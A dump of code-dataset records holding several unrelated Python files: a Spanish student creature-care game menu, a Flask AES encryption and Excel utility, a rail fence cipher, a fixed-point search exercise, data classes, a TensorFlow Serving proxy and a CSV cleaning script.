opcion_menu_inicio == \"1\":\n print(\"El nombre de usuario ingresado ya existe, intente con otro\")\n if existe_mago == 0 and opcion_menu_inicio == \"1\":\n \n print(\"Bienvenid@ \" + nombre_de_usuario)\n print(\"Seleccione el tipo de magizoólogo que quiere ser\")\n print(\"[1] Docencio\")\n print(\"[2] Tareo\")\n print(\"[3] Híbrido\")\n tipo_de_magizoologo = input(\"Indique su opción (1,2 o 3): \")\n if tipo_de_magizoologo == \"1\":\n mago = crear.crear_magizoologo_docencio(nombre_de_usuario)\n magizoologos.append(mago)\n elif tipo_de_magizoologo == \"2\":\n mago = crear.crear_magizoologo_tareo(nombre_de_usuario)\n magizoologos.append(mago)\n else:\n mago = crear.crear_magizoologo_hibrido(nombre_de_usuario)\n magizoologos.append(mago)\n print(\"Seleccione la criatura que quiere adoptar\")\n print(\"[1] Niffler\")\n print(\"[2] Erkling\")\n print(\"[3] Augurey\")\n adoptar_criatura = input(\"Indique su opción (1,2 o 3): \")\n existe_criatura = 1\n while existe_criatura == 1:\n existe_criatura = 0\n nombre_criatura = input(\"ingrese el nombre de la criatura \")\n for criatura in criaturas:\n if nombre_criatura.lower() == criatura.nombre.lower():\n print(\"El nombre de criatura ingresado ya existe, intente con otro\")\n existe_criatura += 1\n if existe_criatura == 0:\n if adoptar_criatura == \"1\":\n criatura_creada = crear.crear_niffler(nombre_criatura)\n elif adoptar_criatura == \"2\":\n criatura_creada = crear.crear_erkling(nombre_criatura)\n else:\n criatura_creada = crear.crear_augurey(nombre_criatura)\n mago.criaturas.append(criatura_creada)\n criaturas.append(criatura_creada)\n j += 1\n escribir_archivos(p.PATH_MAGIZOOLOGOS, p.PATH_CRIATURAS, criaturas, magizoologos) \n if existe_mago == 1 and opcion_menu_inicio == \"2\":\n for magico in magizoologos:\n if nombre_de_usuario.lower() == magico.nombre.lower():\n mago = magico\n print(\"Bienvenid@ \" + mago.nombre) \n \n j += 1\n \n if existe_mago == 0 and opcion_menu_inicio == \"2\":\n print(\"El usuario ingresado no se encuentra registrado, intente de nuevo\")\n \n if opcion_menu_inicio == \"3\":\n escribir_archivos(p.PATH_MAGIZOOLOGOS, p.PATH_CRIATURAS, criaturas, magizoologos)\n break\n\n while j == 1:\n print(\" \") \n print(\"******** MENÚ DE ACCIONES ********\") \n print(\" \") \n print(\"Seleccione una opción:\")\n print(\"[1] Menú cuidar DCCriaturas\")\n print(\"[2] Menú DCC\")\n print(\"[3] Pasar al día siguiente\")\n print(\"[4] Volver atrás\")\n print(\"[5] Salir\")\n opcion_menu_acciones = input(\"Indique su opción (1,2,3,4 o 5): \")\n if opcion_menu_acciones == \"1\":\n j += 1\n while j == 2:\n print(\" \") \n print(\"***** MENÚ CUIDAR DCCRIATURAS *****\") \n print(\" \") \n print(\"Seleccione una opción:\")\n print(\"[1] Alimentar DCCriaturas\")\n print(\"[2] Recuperar DCCriaturas\")\n print(\"[3] Sanar DCCriaturas\")\n print(\"[4] Usar habilidad especial\")\n print(\"[5] Volver atrás\")\n print(\"[6] Salir\")\n opcion_menu_cuidar = input(\"Indique su opción (1,2,3,4,5 o 6): \")\n if opcion_menu_cuidar == \"1\":\n i = 1\n criaturas_enjauladas = []\n for criatura in mago.criaturas:\n if criatura.estado_escape == \"False\":\n criaturas_enjauladas.append(criatura)\n if len(criaturas_enjauladas) == 0:\n print(\"No tienes criaturas que alimentar\")\n elif len(mago.alimentos) == 0:\n print(\"No tienes alimentos para tus criaturas\")\n else:\n print(\"Seleccione la criatura que quiere alimentar\")\n for criatura in criaturas_enjauladas:\n print(\"[\" + str(i) + \"] \" + criatura.nombre)\n i += 1\n opcion_criatura = input(\"Indique el número de su opción: \")\n if opcion_criatura.isdigit() == False or \\\n len(criaturas_enjauladas) < int(opcion_criatura):\n opcion_criatura == \"1\"\n i = 1\n for alimento in mago.alimentos:\n print(\"[\" + str(i) + \"] \" + alimento.nombre)\n i += 1\n opcion_alimento = input(\"Indique el número de su opción: \")\n if opcion_alimento.isdigit() == False or \\\n len(mago.alimentos) < int(opcion_alimento):\n opcion_alimento == \"1\"\n mago.alimentar(criaturas_enjauladas[int(opcion_criatura)-1], \\\n mago.alimentos[int(opcion_alimento)-1])\n if opcion_menu_cuidar == \"2\":\n i = 1\n criaturas_escapadas = []\n print(\"Seleccione la criatura que quiere recuperar\")\n for criatura in mago.criaturas:\n if criatura.estado_escape == \"True\":\n print(\"[\" + str(i) + \"] \" + criatura.nombre)\n criaturas_escapadas.append(criatura)\n i += 1\n if len(criaturas_escapadas) == 0:\n print(\"No tiene criaturas que recuperar\")\n else:\n opcion_criatura = input(\"Indique el número de su opción: \")\n if opcion_criatura.isdigit() == False:\n opcion_criatura = \"1\"\n mago.recuperar_criatura(criaturas_escapadas[int(opcion_criatura)-1])\n if opcion_menu_cuidar == \"3\":\n i = 1\n criaturas_enfermas = []\n print(\"Seleccione la criatura que quiere sanar\")\n for criatura in mago.criaturas:\n if criatura.estado_salud == \"True\":\n print(\"[\" + str(i) + \"] \" + criatura.nombre)\n criaturas_enfermas.append(criatura)\n i += 1\n if len(criaturas_enfermas) == 0:\n print(\"No tiene criaturas que sanar\")\n else:\n opcion_criatura = input(\"Indique el número de su opción: \")\n if opcion_criatura.isdigit() == False or int(opcion_criatura) > len(criaturas_enfermas):\n opcion_criatura = \"1\"\n mago.sanar_criatura(criaturas_enfermas[int(opcion_criatura)-1])\n if opcion_menu_cuidar == \"4\":\n mago.habilidad_especial()\n if opcion_menu_cuidar == \"5\":\n j = 1\n if opcion_menu_cuidar == \"6\":\n z = p.PATH_MAGIZOOLOGOS\n escribir_archivos(z, p.PATH_CRIATURAS, criaturas, magizoologos)\n break\n escribir_archivos(p.PATH_MAGIZOOLOGOS, p.PATH_CRIATURAS, criaturas, magizoologos) \n if opcion_menu_acciones == \"2\":\n j = 3\n while j == 3:\n print(\" \") \n print(\"********* MENÚ DCC **********\") \n print(\" \") \n print(\"Seleccione una opción:\")\n print(\"[1] Adoptar DCCriatura\")\n print(\"[2] Comprar alimentos\")\n print(\"[3] Ver estado Magizoólogos y DCCriaturas\")\n print(\"[4] Volver atrás\")\n print(\"[5] Salir\")\n opcion_menu_dcc = input(\"Indique su opción (1,2,3,4 o 5): \")\n usuario_dcc = Tarea1.DCC(mago)\n if opcion_menu_dcc == \"1\":\n print(\"Seleccione la DCCriatura que quiere adoptar\")\n print(\"[1] Augurey --> $\" + str(p.PRECIO_AUGUREY))\n print(\"[2] Niffler --> $\" + str(p.PRECIO_NIFFLER))\n print(\"[3] Erkling --> $\" + str(p.PRECIO_ERKLING))\n opcion_criatura = input(\"Indique su opcion (1,2 o 3): \")\n existe_criatura = 1\n while existe_criatura == 1:\n existe_criatura = 0\n nombre_criatura = input(\"ingrese el nombre de la criatura \")\n for criatura in criaturas:\n if nombre_criatura.lower() == criatura.nombre.lower():\n print(\"El nombre ingresado ya existe, intente con otro\")\n existe_criatura += 1\n if existe_criatura == 0:\n if opcion_criatura == \"1\":\n usuario_dcc.vender_criatura(\"augurey\", nombre_criatura)\n criaturas.append(mago.criaturas[-1])\n elif opcion_criatura == \"2\":\n usuario_dcc.vender_criatura(\"niffler\", nombre_criatura)\n criaturas.append(mago.criaturas[-1])\n elif opcion_criatura == \"3\":\n usuario_dcc.vender_criatura(\"erkling\", nombre_criatura)\n criaturas.append(mago.criaturas[-1])\n else:\n print(\"La opcion ingresada no es válida\")\n l = p.PATH_MAGIZOOLOGOS\n escribir_archivos(l, p.PATH_CRIATURAS, criaturas, magizoologos)\n if opcion_menu_dcc == \"2\":\n print(\"Seleccione el alimento que quiere comprar\")\n print(\"[1] Tarta de Melaza --> $\" + str(p.PRECIO_TARTA))\n print(\"[2] Buñuelos de Gusarajo --> $\" + str(p.PRECIO_BUÑUELOS))\n print(\"[3] Hígado de Dragón --> $\" + str(p.PRECIO_HIGADO))\n opcion_alimento = input(\"Indique su opcion (1,2 o 3): \")\n if opcion_alimento == \"1\":\n usuario_dcc.vender_alimentos(\"tarta de melaza\")\n elif opcion_alimento == \"2\":\n usuario_dcc.vender_alimentos(\"buñuelos de gusarajo\")\n elif opcion_alimento == \"3\":\n usuario_dcc.vender_alimentos(\"Hígado de Dragón\")\n else:\n print(\"La opcion ingresada no es válida\")\n l = p.PATH_MAGIZOOLOGOS\n escribir_archivos(l, p.PATH_CRIATURAS, criaturas, magizoologos)\n \n if opcion_menu_dcc == \"3\":\n print(f\"Nombre: {mago.nombre}\\nSickles: {mago.sickles}\")\n print(f\"Energía actual:{mago.energia_actual}\\nLicencia: {mago.licencia}\") \n print(f\"Nivel de aprobación: {mago.nivel_de_aprobacion}\")\n print(f\"Nivel mágico: {mago.nivel_magico}\\nDestreza: {mago.destreza}\")\n print(f\"Responsabilidad: {mago.responsabilidad}\\nAlimentos: \")\n for alim in mago.alimentos:\n print(alim.nombre + \"--> Efecto salud: \" + str(alim.efecto_salud))\n print(\"Estado DCCriaturas\")\n for criatura in mago.criaturas:\n print(f\"Nombre: {criatura.nombre}\")\n print(f\"Nivel mágico: {criatura.nivel_magico}\")\n print(f\"Puntos de salud actual: {criatura.salud_actual}\")\n print(f\"Estado de salud: {criatura.estado_salud}\")\n print(f\"Nivel de hambre: {criatura.nivel_hambre}\")\n print(f\"Nivel de agresividad: {criatura.nivel_agresividad}\" )\n if opcion_menu_dcc == \"4\":\n j = 1 \n if opcion_menu_dcc == \"5\":\n l = p.PATH_MAGIZOOLOGOS\n escribir_archivos(l, p.PATH_CRIATURAS, criaturas, magizoologos)\n break\n \n if opcion_menu_acciones == \"3\":\n print(\"¡¡Has pasado al día siguiente!! \\n***************************************\")\n usuario_dcc = Tarea1.DCC(mago)\n usuario_dcc.fiscalizar_magizoologos()\n print(\"*************************************\") \n usuario_dcc.nivel_de_aprobacion()\n for multa in usuario_dcc.multas:\n print(multa[0])\n usuario_dcc.pagar_magizoologos()\n if opcion_menu_acciones == \"4\":\n j = 0\n if opcion_menu_acciones == \"5\":\n escribir_archivos(p.PATH_MAGIZOOLOGOS, p.PATH_CRIATURAS, criaturas, magizoologos)\n break\n escribir_archivos(p.PATH_MAGIZOOLOGOS, p.PATH_CRIATURAS, criaturas, magizoologos)\n \nmenus(p.PATH_MAGIZOOLOGOS, p.PATH_CRIATURAS, abrir_archivos()[0], abrir_archivos()[1])\n\n\n\n\n\n","repo_name":"catalinamusalem/Catalina","sub_path":"Tareas/T01/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19499,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35299508281","text":"import base64\nimport os\n\nimport plotly\nfrom flask import Flask, request, render_template\nfrom plotly.graph_objs import Figure\n\nfrom enc import aesEncrypt, aesDecrypt, get_data_from_excel, create_quick_exel\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world(): # put application's code here\n return render_template('form.html')\n\n\n@app.route('/plotly', methods=['GET'])\ndef plotlyl():\n try:\n str = Figure({\n 'data': [{'marker': {'color': 'green'},\n 'mode': 'lines+markers',\n 'name': 'Desired',\n 'type': 'scatter',\n 'x': ['STAKEHOLDER MANAGEMENT', 'PROCESS EXCELLENCE', 'COLLABORATION',\n 'RESULT ORIENTATION', 'DEVELOPING TALENT', 'STRATEGIC AGILITY',\n 'CUSTOMER CENTRICITY', 'INNOVATION AND CREATIVITY'],\n 'y': [4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0, 4.0]},\n {'marker': {'color': '#00008B'},\n 'mode': 'lines+markers',\n 'name': 'Actual',\n 'type': 'scatter',\n 'x': ['STAKEHOLDER MANAGEMENT', 'PROCESS EXCELLENCE', 'COLLABORATION',\n 'RESULT ORIENTATION', 'DEVELOPING TALENT', 'STRATEGIC AGILITY',\n 'CUSTOMER CENTRICITY', 'INNOVATION AND CREATIVITY'],\n 'y': [2.46, 3.07, 2.71, 2.54, 2.45, 1.48, 2.42, 2.38]}],\n 'layout': {'paper_bgcolor': 'rgba(0,0,0,0)',\n 'plot_bgcolor': 'rgba(0,0,0,0)',\n 'xaxis': {'title': {'text': 'Competencies'}},\n 'yaxis': {'title': {'text': 'Score'}}}\n})\n png = plotly.io.to_image(str, scale=3,width=1200, height=800, format='png', engine=\"kaleido\" )\n png_base64 = base64.b64encode(png).decode('ascii')\n print(png_base64)\n return png_base64\n except Exception as e:\n print(e)\n return \"ff\"\n\n\n@app.route('/encryption', methods=['GET', 'POST'])\ndef encryption():\n try:\n if request.method == 'POST':\n data = request.form.get('data')\n key = request.form.get('key')\n iv = request.form.get('iv')\n text = aesEncrypt(data, key, iv)\n return text\n else:\n return ''\n except Exception as e:\n return str(e)\n\n\n@app.route('/decryption', methods=['GET', 'POST'])\ndef decryption():\n try:\n if request.method == 'POST':\n data = request.form.get('data')\n key = request.form.get('key')\n iv = request.form.get('iv')\n text = aesDecrypt(data, key, iv)\n return text\n else:\n return ''\n except Exception as e:\n return str(e)\n\n\n@app.route('/excel', methods=['GET', 'POST'])\ndef excel_decryption():\n try:\n if request.method == 'POST':\n key = request.form.get('key')\n iv = request.form.get('iv')\n\n xlsx = request.files['input_file']\n curr_time = 'inpnjik'\n save_path = os.path.join('C:\\\\Users\\\\remshad\\\\PycharmProjects\\\\flaskPdfKit', curr_time)\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n file_path = os.path.join(save_path, f'manager_list_{curr_time}.xlsx')\n xlsx.save(file_path)\n data = list()\n [excel_status, excel_data] = get_data_from_excel(file_path, 'Sheet1')\n if excel_status:\n for i_data in excel_data:\n print(i_data)\n # print(key,iv)\n # print('data: ',(i_data['middle_name']))\n # print(aesDecrypt(str(i_data['middle_name']), key, iv))\n item = {\n 'first_name': aesDecrypt(str(i_data['first_name']), key, iv) if (\n i_data['first_name'] and i_data['first_name'] != 'NULL' and len(\n i_data['first_name']) > 5) else '',\n # 'middle_name': aesDecrypt(str(i_data['middle_name']), key, iv) if (\n # i_data['middle_name'] and i_data['middle_name'] != 'NULL' and len(\n # i_data['middle_name']) > 5) else '',\n 'last_name': aesDecrypt(str(i_data['last_name']), key, iv) if (\n i_data['last_name'] and i_data['last_name'] != 'NULL' and len(\n i_data['last_name']) > 5) else '',\n # 'display_name': aesDecrypt(str(i_data['display_name']), key, iv) if (\n # i_data['display_name'] and i_data['display_name'] != 'NULL' and len(\n # i_data['display_name']) > 5) else '',\n 'employee_id': aesDecrypt(str(i_data['employee_id']), key, iv) if (\n i_data['employee_id'] and i_data['employee_id'] != 'NULL' and len(\n i_data['employee_id']) > 5) else '',\n # 'id': i_data['id'],\n # 'username': aesDecrypt(str(i_data['username']), key, iv) if (\n # i_data['username'] and i_data['username'] != 'NULL' and len(\n # i_data['username']) > 5) else '',\n # 'email': aesDecrypt(str(i_data['email']), key, iv) if (\n # i_data['email'] and i_data['email'] != 'NULL' and len(\n # i_data['email']) > 5) else ''\n\n }\n print(item)\n data.append(item)\n # print(data)\n\n return create_quick_exel(data, 'result')\n else:\n return ''\n except Exception as e:\n return str(e)\n\n\n@app.route('/getverify', methods=['GET', 'POST'])\ndef excel_getverify():\n try:\n if request.method == 'POST':\n # key = request.form.get('key')\n # iv = request.form.get('iv')\n\n xlsx = request.files['input_file']\n curr_time = 'inpnjik'\n save_path = os.path.join('C:\\\\Users\\\\remshad\\\\PycharmProjects\\\\flaskPdfKit', curr_time)\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n file_path = os.path.join(save_path, f'manager_list_{curr_time}.xlsx')\n xlsx.save(file_path)\n data = list()\n missing_data = list()\n [missing_excel_status, missing_excel_data] = get_data_from_excel(\n 'C:\\\\Users\\\\remshad\\\\PycharmProjects\\\\flaskPdfKit\\\\missing_data.xlsx', 'Sheet1')\n if missing_excel_status:\n for i_data in missing_excel_data:\n missing_data.append(i_data['employee_id'])\n\n [excel_status, excel_data] = get_data_from_excel(file_path, 'Sheet1')\n if excel_status:\n for i_data in excel_data:\n # print(i_data)\n # print(key,iv)\n # print('data: ',(i_data['middle_name']))\n # print(aesDecrypt(str(i_data['middle_name']), key, iv))\n item = {\n 'Employee ID': i_data['Employee ID'],\n 'Reporting Manager': i_data['Reporting Manager']\n }\n data.append(item)\n print(item)\n list_no_data = list()\n list_unmapped = list()\n for emp_id in missing_data:\n flag = 0\n for item in data:\n if (item['Employee ID'] == emp_id):\n flag = 1\n for items in data:\n if items['Employee ID'] == item['Reporting Manager']:\n flag = 2\n list_unmapped.append({\n 'Employee ID': item['Employee ID'],\n 'Reporting Manager': item['Reporting Manager'],\n 'flag': 'reupload'\n })\n if flag == 1:\n list_unmapped.append({\n 'Employee ID': item['Employee ID'],\n 'Reporting Manager': item['Reporting Manager'],\n 'flag': 'missing_manager'\n })\n if flag == 0:\n list_no_data.append({'Employee ID': emp_id, 'flag': 'Not in current excel'})\n create_quick_exel(list_unmapped, 'list_unmapped')\n create_quick_exel(list_no_data, 'list_no_data')\n return 'done'\n else:\n return ''\n except Exception as e:\n return str(e)\n\n\nif __name__ == '__main__':\n app.run(port=5001)\n","repo_name":"Arjunpp44/FlaskApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8295983632","text":"def encrypt():\n plaintext = str(input(\"enter plaintext:\"))\n plaintext = plaintext.lower()\n plaintext = plaintext.replace(' ', '')\n plaintext = list(plaintext)\n\n rails = int(input('Enter number of rails:'))\n ciphertext = list()\n # create a nested list with rows equal to number of rails\n for i in range(rails):\n ciphertext.append([])\n \n dir_down = False # bool variable to check what the direction is\n row = 0\n\n for letter in plaintext:\n # if the current pointer is either at the top or bottom rail, flip the direction\n if row == 0 or row == rails-1:\n dir_down = not dir_down\n \n ciphertext[row].append(letter)\n\n if dir_down:\n row += 1\n else:\n row -= 1\n ciphertext = [row[i] for row in ciphertext for i in range(len(row))]\n print('Cipher text:')\n print(''.join(ciphertext))\n\n\ndef decrypt():\n ciphertext = str(input(\"enter ciphertext:\"))\n ciphertext = ciphertext.lower()\n ciphertext = ciphertext.replace(' ', '')\n ciphertext = list(ciphertext)\n\n rails = int(input('Enter number of rails: '))\n plaintext = list()\n\n temp = list()\n # making an array with 'rails' rows and column equal to len(ciphertext)\n temp = [['' for i in range(len(ciphertext))] for j in range(rails)]\n\n dir_down = False\n row, col = 0, 0\n\n for letter in ciphertext:\n if row == 0 or row == rails-1:\n dir_down = not dir_down\n # assigning '*' to the place values where the plaintext letters would go in\n temp[row][col] = '*'\n col += 1\n if dir_down:\n row += 1\n else:\n row -= 1\n\n count = 0\n # using the previous '*' to assign letters in their respective positions\n for row in range(len(temp)):\n for i in range(len(ciphertext)):\n if(temp[row][i] == '*'):\n temp[row][i] = ciphertext[count]\n count += 1\n\n # traversing the array like before and appending the letters to plaintext\n dir_down = False\n row, col = 0, 0\n\n for i in range(len(ciphertext)):\n if row == 0 or row == rails-1:\n dir_down = not dir_down\n plaintext.append(temp[row][col])\n\n col += 1\n if dir_down:\n row += 1\n else:\n row -= 1\n print('Cipher text:')\n print(''.join(plaintext))\n\n\nchoice = int(input(\"\\nEnter your choice:\\n1. Encrypt\\n2. Decrypt\\n3. Exit\\n\"))\nif choice == 1:\n encrypt()\nelif choice == 2:\n decrypt()\nelif choice == 3:\n exit()\nelse:\n print(\"Choose correct choice!!!!\")\n","repo_name":"rabin245/cryptography_lab","sub_path":"rail fence cipher.py","file_name":"rail fence cipher.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"1693666396","text":"\"\"\"\nHi, here's your problem today. This problem was recently asked by Apple:\n\nA fixed point in a list is where the value is equal to its index. So for example the list [-5, 1, 3, 4], 1 is a fixed point in the list since the index and value is the same. \nFind a fixed point (there can be many, just return 1) in a sorted list of distinct elements, or return None if it doesn't exist.\n\nHere is a starting point:\n\ndef find_fixed_point(nums):\n # Fill this in.\n\nprint find_fixed_point([-5, 1, 3, 4])\n# 1\n\"\"\"\n# Method 1: O(N)\ndef find_fixed_point1(nums):\n for i in range(len(nums)):\n if nums[i] == i:\n return i\n return None\n\nprint(find_fixed_point1([-5, 1, 3, 4]))\n# 1\nprint(find_fixed_point1([-10, -1, 0, 3, 10, 11, 30, 50, 100]))\n# 3\n\n\n# Method 2: Binary search O(Log N)\ndef find_fixed_point(nums):\n l, r = 0, len(nums) - 1\n return bs(nums, l, r)\n\ndef bs(nums, l, r):\n if r == nums[r]:\n return r\n elif l == nums[l]:\n return l\n\n while r > l + 1:\n mid = (r + l) // 2\n if mid == nums[mid]:\n return mid\n elif mid > nums[mid]:\n l = mid\n else:\n r = mid\n return None\n\nprint(find_fixed_point([-5, 1, 3, 4]))\n# 1\nprint(find_fixed_point([-10, -1, 0, 3, 10, 11, 30, 50, 100]))\n# 3","repo_name":"QinmengLUAN/DailyPythonCoding","sub_path":"DailyProblem63_find_fixed_point.py","file_name":"DailyProblem63_find_fixed_point.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3806801207","text":"\"\"\"\nCreated on Apr 22, 2023\n\n@author: fred\n\"\"\"\nfrom __future__ import annotations\n\nfrom collections import Counter\nfrom dataclasses import (\n dataclass,\n field,\n fields,\n)\nfrom typing import (\n Any,\n Optional,\n cast,\n)\n\nfrom .author_info import (\n Gender,\n Nationality,\n Race,\n)\nfrom .utils import (\n AnyData,\n to_data,\n)\n\n\n@dataclass(frozen=True)\nclass AuthorStatistics:\n \"\"\"Counters for unique books + authors\"\"\"\n\n gender_count: Counter[Gender] = field(default_factory=Counter)\n race_count: Counter[Race] = field(default_factory=Counter)\n queer_count: Counter[Optional[bool]] = field(default_factory=Counter)\n nationality_count: Counter[Nationality] = field(default_factory=Counter)\n\n @classmethod\n def from_data(cls, data: Any) -> AuthorStatistics:\n \"\"\"Construct from JSON data\"\"\"\n return cls(\n gender_count=Counter(\n {\n cast(Gender, str(key)): int(cast(int, val))\n for key, val in data[\"gender_count\"].items()\n }\n ),\n race_count=Counter(\n {\n cast(Race, str(key)): int(cast(int, val))\n for key, val in data[\"race_count\"].items()\n }\n ),\n queer_count=Counter(\n {\n bool(cast(bool, key)) if key is not None else key: int(cast(int, val))\n for key, val in data[\"queer_count\"].items()\n }\n ),\n nationality_count=Counter(\n {\n cast(Nationality, str(key)): int(cast(int, val))\n for key, val in data[\"nationality_count\"].items()\n }\n ),\n )\n\n def to_data(self) -> dict[str, Any]:\n \"\"\"Write to JSON data\"\"\"\n out: dict[str, AnyData] = {}\n for field_name, field_val in {\n field.name: getattr(self, field.name) for field in fields(self)\n }.items():\n out[field_name] = to_data(field_val)\n return out\n","repo_name":"smartflutist661/rfantasy-bingo-stats","sub_path":"process_data/types/author_statistics.py","file_name":"author_statistics.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19569232876","text":"import sys\nimport tornado.ioloop\nimport tornado.web\nimport tornado.httpserver\nimport tornado.httputil\nimport tornado.gen\nfrom tornado import escape\nimport json\nimport pickle\nimport numpy as np\n\nfrom grpc.beta import implementations\nimport tensorflow as tf\nimport predict_pb2\nimport prediction_service_pb2\n\nfrom hystrix import Command\nimport asyncio\n\ngrpc_host = \"127.0.0.1\"\ngrpc_port = 9000\nmodel_name = \"linear\"\nmodel_version = -1 # Latest version \nrequest_timeout = 5.0 # 5 seconds\n\nclass TensorflowServingGrpcCommand(Command):\n def run(self):\n # TODO: pass on the actual inputs\n return self.do_post([[1,1,3,4]]) \n\n def do_post(self, inputs):\n # Create gRPC client and request\n grpc_port = int(sys.argv[2])\n channel = implementations.insecure_channel(grpc_host, grpc_port)\n stub = prediction_service_pb2.beta_create_PredictionService_stub(channel)\n request = predict_pb2.PredictRequest()\n request.model_spec.name = model_name\n if model_version > 0:\n request.model_spec.version.value = model_version\n\n # TODO: don't hard code this!\n inputs_np = np.asarray([1.0])\n #print(inputs_np)\n inputs_tensor_proto = tf.contrib.util.make_tensor_proto(inputs_np,\n dtype=tf.float32)\n request.inputs['x_observed'].CopyFrom(inputs_tensor_proto)\n\n # Send request\n result = stub.Predict(request, request_timeout)\n #print(result)\n\n result_np = tf.contrib.util.make_ndarray(result.outputs['y_pred'])\n #print(result_np)\n\n return result_np\n\n def fallback(self):\n return 'fallback!'\n\nclass MainHandler(tornado.web.RequestHandler):\n @tornado.gen.coroutine\n def post(self):\n self.set_header(\"Content-Type\", \"application/json\")\n\n command = self.build_command()\n\n do_post_result = yield self.build_future(command) \n\n # TODO: Convert do_post_result from numpy_array to json \n\n self.write(json.dumps(do_post_result.tolist()))\n\n def build_command(self):\n command = TensorflowServingGrpcCommand()\n command.name = 'TensorflowServingGrpcCommand'\n command.group_name = 'TensorflowServingGrpcCommandGroup'\n return command\n\n def build_future(self, command):\n future = command.observe()\n future.add_done_callback(future.result)\n return future\n\n# def return_result(self, future):\n# return future.result()\n \n# @tornado.gen.coroutine\n# def do_post(self, inputs):\n# return decision_tree_model.predict(inputs).tolist()\n\n def prepare(self):\n #print(self.request.body)\n if self.request.headers[\"Content-Type\"].startswith(\"application/json\"):\n # TODO: Fix this to actually accept inputs\n self.json_args = None\n #json.loads(str(self.request.body))\n else:\n self.json_args = None\n\nif __name__ == \"__main__\":\n# decision_tree_pkl_filename = '1/python_balancescale.pkl'\n# decision_tree_model_pkl = open(decision_tree_pkl_filename, 'rb')\n# decision_tree_model = pickle.load(decision_tree_model_pkl)\n app = tornado.web.Application([\n (r\"/\", MainHandler),\n ])\n listen_port = int(sys.argv[1])\n app.listen(listen_port)\n\n print(\"*****************************************************\")\n print(\"Tornado-based http_grpc_proxy listening on port %s\" % listen_port)\n print(\"*****************************************************\")\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"primedio/cougaar.io","sub_path":"prediction.ml/python/src/main/python/tensorflow/http_grpc_proxy.py","file_name":"http_grpc_proxy.py","file_ext":"py","file_size_in_byte":3350,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"70213800891","text":"\ndef start_csv():\n global new_file\n new_file = open(f'{title}.csv', 'w')\n new_file.write('Count'\n + ';' + 'Subject'\n + ';' + 'Price in SEK'\n + ';' + 'Number of Rooms'\n + ';' + 'Area in m²'\n + ';' + 'Property Type'\n + ';' + 'Location'\n + ';' + 'Sold Date'\n + '\\n'\n )\n new_file.close()\n\ndef write_csv_sold(id, address, room, area, price, location, property_type, date_of_sale):\n new_file = open(f'{title}.csv', 'a')\n new_file.write(f'{id}'\n + ';' + f'{address}'\n + ';' + f'{location}'\n + ';' + f'{room}'\n + ';' + f'{area}'\n + ';' + f'{price}'\n + ';' + f'{property_type}'\n + ';' + f'{date_of_sale}'\n + \"\\n\")\n\ncounter = 0\ndef get_data_from_csv():\n file = input(\"CSV file to add: \")\n infile = open(f'{file}.csv', 'r')\n temp = infile.read()\n temp = temp.split(\"\\n\")\n temp2 = []\n for n in range(len(temp)):\n temp2.append(temp[n].split(\";\"))\n for n in range(len(temp2)):\n if n not in (0, 1, len(temp2)-1, len(temp2)-2, len(temp2)-3, len(temp2)-4):\n global counter\n counter += 1\n if n == len(temp2) - 5:\n print(counter)\n data_line = temp2[n]\n data_line = separate_area(data_line)\n data_line[2] = clean_text(data_line[2])\n data_line[3] = clean_text(data_line[3])\n data_line[5] = clean_text(data_line[5])\n\n write_csv_sold(id=data_line[0], address=data_line[1], room=data_line[2],\n area=data_line[3], price=data_line[4], location=data_line[5],\n property_type=data_line[6], date_of_sale=data_line[7])\n\n\ndef clean_text(text):\n temp = \"\"\n if text:\n for i in text:\n if 47 < ord(i) < 58:\n temp+=i\n if text is None:\n temp = \"Missing\"\n return temp\n\n\ndef separate_area(data_line):\n temp = data_line\n area_room = temp[2]\n # print(area_room)\n if area_room != None:\n if \",\" in area_room:\n area_room = area_room.split(\",\")\n elif \"m²\" in area_room:\n area_room = [None, area_room]\n elif \"rum\" in area_room:\n area_room = [area_room, None]\n elif area_room == \"\":\n pass\n else:\n area_room = [None, None]\n else:\n area_room = [None, None]\n\n temp[2] = area_room\n data_line = [temp[0], temp[1],temp[2][0],temp[2][1],temp[3],temp[4],temp[5],temp[6]]\n # print(data_line)\n return data_line\n\ntitle = input(\"Name the file: \")\nstart_csv()\nget_data_from_csv()\n\n\n\n","repo_name":"cepniyasin/Hemnet_and_Booli_scraper","sub_path":"clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25128989367","text":"\"\"\"\nVSPEC GCM Planet Container\n\n\"\"\"\nimport numpy as np\nfrom typing import Tuple\nfrom astropy import units as u\n\nfrom VSPEC.gcm.structure import Wind, Molecule, Aerosol, AerosolSize\nfrom VSPEC.gcm import structure as st\nfrom VSPEC.config import atmosphere_type_dict as mtype, aerosol_type_dict as atype, aerosol_name_dict\n\nclass Winds:\n \"\"\"\n Represent wind speed in a GCM.\n \n Wind in PSG is represented by a 2 component vector :math:1(U,V)` where\n :math:`U` is West-to-East and :math:`V` is South-to-North.\n \n Parameters\n ----------\n wind_u : VSPEC.gcm.structure.Wind\n The West-to-East wind.\n wind_v : VSPEC.gcm.structure.Wind\n The South-to-North wind.\n \n Attributes\n ----------\n wind_u : VSPEC.gcm.structure.Wind\n The West-to-East wind.\n wind_v : VSPEC.gcm.structure.Wind\n The South-to-North wind.\n \n \"\"\"\n def __init__(\n self,\n wind_u:Wind,\n wind_v:Wind\n ):\n self.wind_u = wind_u\n self.wind_v = wind_v\n 